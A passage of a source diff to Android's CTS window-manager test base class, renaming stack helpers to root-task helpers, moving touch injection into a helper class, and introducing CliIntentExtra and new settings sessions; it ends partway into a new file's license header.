     private static final int UI_MODE_TYPE_MASK = 0x0f;
     private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
@@ -222,7 +220,7 @@
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
     private static Boolean sIsAssistantOnTop = null;
-    private static boolean sStackTaskLeakFound;
+    private static boolean sIllegalTaskStateFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
 
@@ -231,6 +229,7 @@
     protected final ActivityManager mAm = mContext.getSystemService(ActivityManager.class);
     protected final ActivityTaskManager mAtm = mContext.getSystemService(ActivityTaskManager.class);
     protected final DisplayManager mDm = mContext.getSystemService(DisplayManager.class);
+    protected final WindowManager mWm = mContext.getSystemService(WindowManager.class);
 
     /** The tracker to manage objects (especially {@link AutoCloseable}) in a test method. */
     protected final ObjectTracker mObjectTracker = new ObjectTracker();
@@ -245,44 +244,36 @@
 
     /**
      * @return the am command to start the given activity with the following extra key/value pairs.
-     * {@param keyValuePairs} must be a list of arguments defining each key/value extra.
+     * {@param extras} a list of {@link CliIntentExtra} representing a generic intent extra
      */
     // TODO: Make this more generic, for instance accepting flags or extras of other types.
     protected static String getAmStartCmd(final ComponentName activityName,
-            final String... keyValuePairs) {
-        return getAmStartCmdInternal(getActivityName(activityName), keyValuePairs);
+            final CliIntentExtra... extras) {
+        return getAmStartCmdInternal(getActivityName(activityName), extras);
     }
 
     private static String getAmStartCmdInternal(final String activityName,
-            final String... keyValuePairs) {
+            final CliIntentExtra... extras) {
         return appendKeyValuePairs(
                 new StringBuilder("am start -n ").append(activityName),
-                keyValuePairs);
+                extras);
     }
 
     private static String appendKeyValuePairs(
-            final StringBuilder cmd, final String... keyValuePairs) {
-        if (keyValuePairs.length % 2 != 0) {
-            throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
-        }
-        for (int i = 0; i < keyValuePairs.length; i += 2) {
-            final String key = keyValuePairs[i];
-            final String value = keyValuePairs[i + 1];
-            cmd.append(" --es ")
-                    .append(key)
-                    .append(" ")
-                    .append(value);
+            final StringBuilder cmd, final CliIntentExtra... extras) {
+        for (int i = 0; i < extras.length; i++) {
+            extras[i].appendTo(cmd);
         }
         return cmd.toString();
     }
 
     protected static String getAmStartCmd(final ComponentName activityName, final int displayId,
-            final String... keyValuePair) {
-        return getAmStartCmdInternal(getActivityName(activityName), displayId, keyValuePair);
+            final CliIntentExtra... extras) {
+        return getAmStartCmdInternal(getActivityName(activityName), displayId, extras);
     }
 
     private static String getAmStartCmdInternal(final String activityName, final int displayId,
-            final String... keyValuePairs) {
+            final CliIntentExtra... extras) {
         return appendKeyValuePairs(
                 new StringBuilder("am start -n ")
                         .append(activityName)
@@ -290,7 +281,7 @@
                         .append(toHexString(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK))
                         .append(" --display ")
                         .append(displayId),
-                keyValuePairs);
+                extras);
     }
 
     protected static String getAmStartCmdInNewTask(final ComponentName activityName) {
@@ -302,7 +293,9 @@
     }
 
     protected WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
-    TestTaskOrganizer mTaskOrganizer = new TestTaskOrganizer();
+    protected TouchHelper mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
+    // Initialized in setUp to execute with proper permission, such as MANAGE_ACTIVITY_TASKS
+    TestTaskOrganizer mTaskOrganizer;
     // If the specific test should run using the task organizer or older API.
     // TODO(b/149338177): Fix all places setting this to fail to be able to use organizer API.
     public boolean mUseTaskOrganizer = true;
@@ -313,6 +306,10 @@
 
     protected BroadcastActionTrigger mBroadcastActionTrigger = new BroadcastActionTrigger();
 
+    /** Runs a runnable with shell permissions. These can be nested. */
+    protected void runWithShellPermission(Runnable runnable) {
+        NestedShellPermission.run(runnable);
+    }
     /**
      * Returns true if the activity is shown before timeout.
      */
@@ -423,7 +420,7 @@
         }
 
         /**
-         * Launches an {@link Activity} synchronously on a target display. The class name needs to 
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to
          * be provided either implicitly through the {@link Intent} or explicitly as a parameter
          *
          * @param className Optional class name of expected activity
@@ -446,7 +443,7 @@
          */
         void launchTestActivityOnDisplaySync(
                 @Nullable String className, Intent intent, int displayId, int windowingMode) {
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> {
                         mTestActivity =
                                 launchActivityOnDisplay(
@@ -467,7 +464,7 @@
             final Intent intent = new Intent(mContext, activityClass)
                     .addFlags(FLAG_ACTIVITY_NEW_TASK);
             final String className = intent.getComponent().getClassName();
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> {
                         mTestActivity =
                                 launchActivityOnDisplay(
@@ -553,23 +550,30 @@
         pressWakeupButton();
         pressUnlockButton();
         launchHomeActivityNoWait();
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
-        // Clear launch params for all test packages to make sure each test is run in a clean state.
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.clearLaunchParamsForPackages(TEST_PACKAGES));
+        runWithShellPermission(() -> {
+            // TaskOrganizer ctor requires MANAGE_ACTIVITY_TASKS permission
+            mTaskOrganizer = new TestTaskOrganizer(
+                    mContext.createDisplayContext(mDm.getDisplay(DEFAULT_DISPLAY)));
+            // Clear launch params for all test packages to make sure each test is run in a clean
+            // state.
+            mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
+        });
     }
 
     /** It always executes after {@link org.junit.After}. */
     private void tearDownBase() {
         mObjectTracker.tearDown(mPostAssertionRule::addError);
 
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mTaskOrganizer.unregisterOrganizerIfNeeded());
-        // Synchronous execution of removeStacksWithActivityTypes() ensures that all activities but
-        // home are cleaned up from the stack at the end of each test. Am force stop shell commands
-        // might be asynchronous and could interrupt the stack cleanup process if executed first.
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        if (mTaskOrganizer != null) {
+            mTaskOrganizer.unregisterOrganizerIfNeeded();
+        }
+        // Synchronous execution of removeRootTasksWithActivityTypes() ensures that all
+        // activities but home are cleaned up from the root task at the end of each test. Am force
+        // stop shell commands might be asynchronous and could interrupt the task cleanup
+        // process if executed first.
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
         stopTestPackage(TEST_PACKAGE);
         stopTestPackage(SECOND_TEST_PACKAGE);
         stopTestPackage(THIRD_TEST_PACKAGE);
@@ -585,12 +589,6 @@
         SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
     }
 
-    protected void moveTopActivityToPinnedStack(int stackId) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.moveTopActivityToPinnedStack(stackId, new Rect(0, 0, 500, 500))
-        );
-    }
-
     protected void startActivityOnDisplay(int displayId, ComponentName component) {
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchDisplayId(displayId);
@@ -644,105 +642,48 @@
      * @param displayId the display ID to gain focused by inject swipe action
      */
     protected void touchAndCancelOnDisplayCenterSync(int displayId) {
-        WindowManagerState.DisplayContent dc = mWmState.getDisplay(displayId);
-        if (dc == null) {
-            // never get wm state before?
-            mWmState.computeState();
-            dc = mWmState.getDisplay(displayId);
-        }
-        if (dc == null) {
-            log("Cannot tap on display: " + displayId);
-            return;
-        }
-        final Rect bounds = dc.getDisplayRect();
-        final int x = bounds.left + bounds.width() / 2;
-        final int y = bounds.top + bounds.height() / 2;
-        final long downTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, true /* sync */);
-
-        final long eventTime = SystemClock.uptimeMillis();
-        final int touchSlop = ViewConfiguration.get(mContext).getScaledTouchSlop();
-        final int tapX = x + Math.round(touchSlop / 2.0f);
-        final int tapY = y + Math.round(touchSlop / 2.0f);
-        injectMotion(downTime, eventTime, MotionEvent.ACTION_CANCEL, tapX, tapY, displayId,
-                true /* sync */);
+        mTouchHelper.touchAndCancelOnDisplayCenterSync(displayId);
     }
 
     protected void tapOnDisplaySync(int x, int y, int displayId) {
-        tapOnDisplay(x, y, displayId, true /* sync*/);
+        mTouchHelper.tapOnDisplaySync(x, y, displayId);
     }
 
     private void tapOnDisplay(int x, int y, int displayId, boolean sync) {
-        final long downTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync);
-
-        final long upTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync);
-
-        mWmState.waitForWithAmState(state -> state.getFocusedDisplayId() == displayId,
-                "top focused displayId: " + displayId);
-        // This is needed after a tap in multi-display to ensure that the display focus has really
-        // changed, if needed. The call to syncInputTransaction will wait until focus change has
-        // propagated from WMS to native input before returning.
-        mInstrumentation.getUiAutomation().syncInputTransactions();
+        mTouchHelper.tapOnDisplay(x, y, displayId, sync);
     }
 
     protected void tapOnCenter(Rect bounds, int displayId) {
-        final int tapX = bounds.left + bounds.width() / 2;
-        final int tapY = bounds.top + bounds.height() / 2;
-        tapOnDisplaySync(tapX, tapY, displayId);
+        mTouchHelper.tapOnCenter(bounds, displayId);
+    }
+
+    protected void tapOnViewCenter(View view) {
+        mTouchHelper.tapOnViewCenter(view);
     }
 
     protected void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
-        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+        mTouchHelper.tapOnStackCenter(stack);
     }
 
     protected void tapOnDisplayCenter(int displayId) {
-        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
-        tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+        mTouchHelper.tapOnDisplayCenter(displayId);
     }
 
     protected void tapOnDisplayCenterAsync(int displayId) {
-        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
-        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
-    }
-
-    private static void injectMotion(long downTime, long eventTime, int action,
-            int x, int y, int displayId, boolean sync) {
-        final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
-                x, y, 0 /* metaState */);
-        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        event.setDisplayId(displayId);
-        getInstrumentation().getUiAutomation().injectInputEvent(event, sync);
+        mTouchHelper.tapOnDisplayCenterAsync(displayId);
     }
 
     public static void injectKey(int keyCode, boolean longPress, boolean sync) {
-        final long downTime = SystemClock.uptimeMillis();
-        int repeatCount = 0;
-        KeyEvent downEvent =
-                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
-        getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
-        if (longPress) {
-            repeatCount += 1;
-            KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
-                    KeyEvent.ACTION_DOWN, keyCode, repeatCount);
-            getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
-        }
-        KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
-                KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
-        getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
+        TouchHelper.injectKey(keyCode, longPress, sync);
     }
 
-    protected void removeStacksWithActivityTypes(int... activityTypes) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.removeStacksWithActivityTypes(activityTypes));
+    protected void removeRootTasksWithActivityTypes(int... activityTypes) {
+        runWithShellPermission(() -> mAtm.removeRootTasksWithActivityTypes(activityTypes));
         waitForIdle();
     }
 
-    protected void removeStacksInWindowingModes(int... windowingModes) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.removeStacksInWindowingModes(windowingModes)
-        );
+    protected void removeRootTasksInWindowingModes(int... windowingModes) {
+        runWithShellPermission(() -> mAtm.removeRootTasksInWindowingModes(windowingModes));
         waitForIdle();
     }
 
@@ -761,14 +702,15 @@
         return mInstrumentation.getUiAutomation().takeScreenshot();
     }
 
-    protected void launchActivity(final ComponentName activityName, final String... keyValuePairs) {
-        launchActivityNoWait(activityName, keyValuePairs);
+    protected void launchActivity(final ComponentName activityName,
+            final CliIntentExtra... extras) {
+        launchActivityNoWait(activityName, extras);
         mWmState.waitForValidState(activityName);
     }
 
     protected void launchActivityNoWait(final ComponentName activityName,
-            final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, keyValuePairs));
+            final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, extras));
     }
 
     protected void launchActivityInNewTask(final ComponentName activityName) {
@@ -828,18 +770,23 @@
         mWmState.waitForHomeActivityVisible();
     }
 
-    protected void launchActivity(ComponentName activityName, int windowingMode,
-            final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, keyValuePairs)
+    protected void launchActivityNoWait(ComponentName activityName, int windowingMode,
+            final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, extras)
                 + " --windowingMode " + windowingMode);
+    }
+
+    protected void launchActivity(ComponentName activityName, int windowingMode,
+            final CliIntentExtra... keyValuePairs) {
+        launchActivityNoWait(activityName, windowingMode, keyValuePairs);
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
                 .setWindowingMode(windowingMode)
                 .build());
     }
 
     protected void launchActivityOnDisplay(ComponentName activityName, int windowingMode,
-            int displayId, final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, displayId, keyValuePairs)
+            int displayId, final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras)
                 + " --windowingMode " + windowingMode);
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
                 .setWindowingMode(windowingMode)
@@ -847,42 +794,31 @@
     }
 
     protected void launchActivityOnDisplay(ComponentName activityName, int displayId,
-            String... keyValuePairs) {
-        launchActivityOnDisplayNoWait(activityName, displayId, keyValuePairs);
+            CliIntentExtra... extras) {
+        launchActivityOnDisplayNoWait(activityName, displayId, extras);
         mWmState.waitForValidState(activityName);
     }
 
     protected void launchActivityOnDisplayNoWait(ComponentName activityName, int displayId,
-            String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, displayId, keyValuePairs));
+            CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras));
     }
 
-    /**
-     * Launches {@param activityName} into split-screen primary windowing mode and also makes
-     * the recents activity visible to the side of it.
-     * NOTE: Recents view may be combined with home screen on some devices, so using this to wait
-     * for Recents only makes sense when {@link WindowManagerState#isHomeRecentsComponent()} is
-     * {@code false}.
-     */
-    protected void launchActivityInSplitScreenWithRecents(ComponentName activityName) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+    protected void launchActivityInPrimarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
             launchActivity(activityName);
             final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-            if (mUseTaskOrganizer) {
-                mTaskOrganizer.putTaskInSplitPrimary(taskId);
-            } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT,
-                        true /* onTop */, false /* animate */,
-                        null /* initialBounds */, true /* showRecents */);
-            }
+            mTaskOrganizer.putTaskInSplitPrimary(taskId);
+            mWmState.waitForValidState(activityName);
+        });
+    }
 
-            mWmState.waitForValidState(
-                    new WaitForValidActivityState.Builder(activityName)
-                            .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
-                            .setActivityType(ACTIVITY_TYPE_STANDARD)
-                            .build());
-            mWmState.waitForRecentsActivityVisible();
+    protected void launchActivityInSecondarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
+            launchActivity(activityName);
+            final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(taskId);
+            mWmState.waitForValidState(activityName);
         });
     }
 
@@ -899,14 +835,11 @@
      *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+        runWithShellPermission(() -> {
             if (mUseTaskOrganizer) {
                 mTaskOrganizer.putTaskInSplitPrimary(taskId);
             } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
-                        false /* animate */, null /* initialBounds */,
-                        false /* showRecents */);
+                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
             }
 
             // Wait for split screen ready
@@ -949,25 +882,32 @@
                 .setWaitForLaunched(true)
                 .execute();
 
-        final int taskId = mWmState.getTaskByActivity(
+        final int primaryTaskId = mWmState.getTaskByActivity(
                 primaryActivity.mTargetActivity).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId);
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
 
         // Launch split-screen secondary
-        // Recents become focused, so we can just launch new task in focused stack
         secondaryActivity
                 .setUseInstrumentation()
                 .setWaitForLaunched(true)
                 .setNewTask(true)
                 .setMultipleTask(true)
                 .execute();
+
+        final int secondaryTaskId = mWmState.getTaskByActivity(
+                secondaryActivity.mTargetActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+        mWmState.computeState(primaryActivity.getTargetActivity(),
+                secondaryActivity.getTargetActivity());
+        log("launchActivitiesInSplitScreen(), primaryTaskId=" + primaryTaskId +
+                ", secondaryTaskId=" + secondaryTaskId);
     }
 
     protected boolean setActivityTaskWindowingMode(ComponentName activityName, int windowingMode) {
         mWmState.computeState(activityName);
         final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
         boolean[] result = new boolean[1];
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+        runWithShellPermission(() -> {
             result[0] = mAtm.setTaskWindowingMode(taskId, windowingMode, true /* toTop */);
         });
         if (result[0]) {
@@ -979,10 +919,13 @@
         return result[0];
     }
 
-    /** Move activity to stack or on top of the given stack when the stack is a leak task. */
-    protected void moveActivityToStackOrOnTop(ComponentName activityName, int stackId) {
+    /**
+     * Move activity to root task or on top of the given root task when the root task is also a leaf
+     * task.
+     */
+    protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
         mWmState.computeState(activityName);
-        WindowManagerState.ActivityTask rootTask = getRootTask(stackId);
+        WindowManagerState.ActivityTask rootTask = getRootTask(rootTaskId);
         if (rootTask.getActivities().size() != 0) {
             // If the root task is a 1-level task, start the activity on top of given task.
             getLaunchActivityBuilder()
@@ -995,11 +938,10 @@
                     .execute();
         } else {
             final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-            SystemUtil.runWithShellPermissionIdentity(
-                    () -> mAtm.moveTaskToStack(taskId, stackId, true));
+            runWithShellPermission(() -> mAtm.moveTaskToRootTask(taskId, rootTaskId, true));
         }
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
-                .setStackId(stackId)
+                .setStackId(rootTaskId)
                 .build());
     }
 
@@ -1007,14 +949,13 @@
             ComponentName activityName, int left, int top, int right, int bottom) {
         mWmState.computeState(activityName);
         final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.resizeTask(taskId, new Rect(left, top, right, bottom)));
+        runWithShellPermission(() -> mAtm.resizeTask(taskId, new Rect(left, top, right, bottom)));
     }
 
-    protected void resizeDockedStack(
-            int stackWidth, int stackHeight, int taskWidth, int taskHeight) {
-        SystemUtil.runWithShellPermissionIdentity(() ->
-                mAtm.resizeDockedStack(new Rect(0, 0, stackWidth, stackHeight),
+    protected void resizePrimarySplitScreen(
+            int rootTaskWidth, int rootTaskHeight, int taskWidth, int taskHeight) {
+        runWithShellPermission(() ->
+                mAtm.resizePrimarySplitScreen(new Rect(0, 0, rootTaskWidth, rootTaskHeight),
                         new Rect(0, 0, taskWidth, taskHeight)));
     }
 
@@ -1027,16 +968,6 @@
         return isRecentsVisible;
     }
 
-    // Utility method for debugging, not used directly here, but useful, so kept around.
-    protected void printStacksAndTasks() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            final String output = mAtm.listAllStacks();
-            for (String line : output.split("\\n")) {
-                log(line);
-            }
-        });
-    }
-
     protected boolean supportsVrMode() {
         return hasDeviceFeature(FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
@@ -1070,6 +1001,10 @@
                 && getSupportsInsecureLockScreen();
     }
 
+    protected boolean supportsBlur() {
+        return hasDeviceFeature(FEATURE_CROSS_LAYER_BLUR);
+    }
+
     protected boolean isWatch() {
         return hasDeviceFeature(FEATURE_WATCH);
     }
@@ -1105,16 +1040,19 @@
         mWmState.waitForWithAmState(state -> activityClassName.equals(state.getFocusedActivity()),
                 "activity to be on top");
 
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         mWmState.assertFocusedActivity(message, activityName);
         assertTrue("Activity must be resumed",
                 mWmState.hasActivityState(activityName, STATE_RESUMED));
-        final int frontStackId = mWmState.getFrontRootTaskId(displayId);
-        WindowManagerState.ActivityTask frontStackOnDisplay =
-                mWmState.getRootTask(frontStackId);
-        assertEquals("Resumed activity of front stack of the target display must match. " + message,
-                activityClassName, frontStackOnDisplay.mResumedActivity);
-        mWmState.assertFocusedStack("Top activity's stack must also be on top", frontStackId);
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(displayId);
+        WindowManagerState.ActivityTask frontRootTaskOnDisplay =
+                mWmState.getRootTask(frontRootTaskId);
+        assertEquals(
+                "Resumed activity of front root task of the target display must match. " + message,
+                activityClassName,
+                frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
+                        : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
+        mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
         mWmState.assertVisibility(activityName, true /* visible */);
     }
 
@@ -1146,8 +1084,24 @@
         return uiModeLockedToVrHeadset;
     }
 
+    protected boolean supportsMultiWindow() {
+        Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+        return ActivityTaskManager.supportsSplitScreenMultiWindow(
+                mContext.createDisplayContext(defaultDisplay));
+    }
+
+    /** Returns true if the default display supports split screen multi-window. */
     protected boolean supportsSplitScreenMultiWindow() {
-        return ActivityTaskManager.supportsSplitScreenMultiWindow(mContext);
+        Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+        return supportsSplitScreenMultiWindow(mContext.createDisplayContext(defaultDisplay));
+    }
+
+    /**
+     * Returns true if the display associated with the supplied {@code context} supports split
+     * screen multi-window.
+     */
+    protected boolean supportsSplitScreenMultiWindow(Context context) {
+        return ActivityTaskManager.supportsSplitScreenMultiWindow(context);
     }
 
     protected boolean hasHomeScreen() {
@@ -1177,7 +1131,7 @@
         return sSupportsInsecureLockScreen;
     }
 
-    protected boolean isAssistantOnTop() {
+    protected boolean isAssistantOnTopOfDream() {
         if (sIsAssistantOnTop == null) {
             sIsAssistantOnTop = mContext.getResources().getBoolean(
                     android.R.bool.config_assistantOnTopOfDream);
@@ -1275,6 +1229,17 @@
     }
 
     /** @see ObjectTracker#manage(AutoCloseable) */
+    protected AodSession createManagedAodSession() {
+        return mObjectTracker.manage(new AodSession());
+    }
+
+    /** @see ObjectTracker#manage(AutoCloseable) */
+    protected SupportsNonResizableMultiWindowSession
+        createManagedSupportsNonResizableMultiWindowSession() {
+        return mObjectTracker.manage(new SupportsNonResizableMultiWindowSession());
+    }
+
+    /** @see ObjectTracker#manage(AutoCloseable) */
     protected <T extends Activity> TestActivitySession<T> createManagedTestActivitySession() {
         return new TestActivitySession<T>();
     }
@@ -1357,7 +1322,7 @@
             mPackageManager = mContext.getPackageManager();
             mOrigHome = getDefaultHomeComponent();
 
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
                             COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP));
             setDefaultHome(mSessionHome);
@@ -1365,7 +1330,7 @@
 
         @Override
         public void close() {
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
                             COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP));
             if (mOrigHome != null) {
@@ -1483,7 +1448,7 @@
         @Override
         public void close() {
             if (mRemoveActivitiesOnClose) {
-                removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+                removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
             }
 
             setLockDisabled(mIsLockDisabled);
@@ -1494,9 +1459,9 @@
             // Dismiss active keyguard after credential is cleared, so keyguard doesn't ask for
             // the stale credential.
             // TODO (b/112015010) If keyguard is occluded, credential cannot be removed as expected.
-            // LockScreenSession#close is always calls before stop all test activities,
-            // which could cause keyguard stay at occluded after wakeup.
-            // If Keyguard is occluded, press back key can close ShowWhenLocked activity.
+            // LockScreenSession#close is always called before stopping all test activities,
+            // which could cause the keyguard to stay occluded after wakeup.
+            // If Keyguard is occluded, pressing the back key can hide the ShowWhenLocked activity.
             pressBackButton();
 
             // If device is unlocked, there might have ShowWhenLocked activity runs on,
@@ -1557,15 +1522,44 @@
         }
     }
 
+    protected class AodSession extends SettingsSession<Integer> {
+        private AmbientDisplayConfiguration mConfig;
+
+        AodSession() {
+            super(Settings.Secure.getUriFor(Settings.Secure.DOZE_ALWAYS_ON),
+                    Settings.Secure::getInt,
+                    Settings.Secure::putInt);
+            mConfig = new AmbientDisplayConfiguration(mContext);
+        }
+
+        boolean isAodAvailable() {
+            return mConfig.alwaysOnAvailable();
+        }
+
+        void setAodEnabled(boolean enabled) {
+            set(enabled ? 1 : 0);
+        }
+    }
+
+    protected class SupportsNonResizableMultiWindowSession extends SettingsSession<Integer> {
+        SupportsNonResizableMultiWindowSession() {
+            super(Settings.Global.getUriFor(
+                    Settings.Global.DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW),
+                    (cr, name) -> Settings.Global.getInt(cr, name, 0 /* def */),
+                    Settings.Global::putInt);
+        }
+    }
+
     /** Helper class to save, set & wait, and restore rotation related preferences. */
     protected class RotationSession extends SettingsSession<Integer> {
-        private final String SET_FIX_TO_USER_ROTATION_COMMAND =
-                "cmd window set-fix-to-user-rotation ";
+        private final String FIXED_TO_USER_ROTATION_COMMAND =
+                "cmd window fixed-to-user-rotation ";
         private final SettingsSession<Integer> mAccelerometerRotation;
         private final HandlerThread mThread;
         private final Handler mRunnableHandler;
         private final SettingsObserver mRotationObserver;
         private int mPreviousDegree;
+        private String mPreviousFixedToUserRotationMode;
 
         public RotationSession() {
             // Save user_rotation and accelerometer_rotation preferences.
@@ -1581,7 +1575,8 @@
             mRotationObserver = new SettingsObserver(mRunnableHandler);
 
             // Disable fixed to user rotation
-            executeShellCommand(SET_FIX_TO_USER_ROTATION_COMMAND + "disabled");
+            mPreviousFixedToUserRotationMode = executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND);
+            executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND + "disabled");
 
             mPreviousDegree = get();
             // Disable accelerometer_rotation.
@@ -1638,8 +1633,8 @@
 
         @Override
         public void close() {
-            // Set fixed to user rotation to default
-            executeShellCommand(SET_FIX_TO_USER_ROTATION_COMMAND + "default");
+            // Restore fixed to user rotation to default
+            executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND + mPreviousFixedToUserRotationMode);
             mThread.quitSafely();
             super.close();
             // Restore accelerometer_rotation preference.
@@ -2130,7 +2125,7 @@
     }
 
     protected void stopTestPackage(final String packageName) {
-        SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(packageName));
+        runWithShellPermission(() -> mAm.forceStopPackage(packageName));
     }
 
     protected LaunchActivityBuilder getLaunchActivityBuilder() {
@@ -2324,7 +2319,7 @@
             switch (mLauncherType) {
                 case INSTRUMENTATION:
                     if (mWithShellPermission) {
-                        SystemUtil.runWithShellPermissionIdentity(this::launchUsingInstrumentation);
+                        NestedShellPermission.run(this::launchUsingInstrumentation);
                     } else {
                         launchUsingInstrumentation();
                     }
@@ -2487,14 +2482,13 @@
     private class PostAssertionRule extends ErrorCollector {
         @Override
         protected void verify() throws Throwable {
-            if (!sStackTaskLeakFound) {
-                // Skip empty stack/task check if a leakage was already found in previous test, or
-                // all tests afterward would also fail (since the leakage is always there) and fire
-                // unnecessary false alarms.
+            if (!sIllegalTaskStateFound) {
+                // Skip if a illegal task state was already found in previous test, or all tests
+                // afterward could also fail and fire unnecessary false alarms.
                 try {
-                    mWmState.assertNoneEmptyTasks();
+                    mWmState.assertIllegalTaskState();
                 } catch (Throwable t) {
-                    sStackTaskLeakFound = true;
+                    sIllegalTaskStateFound = true;
                     addError(t);
                 }
             }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java
new file mode 100644
index 0000000..7b6835a
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
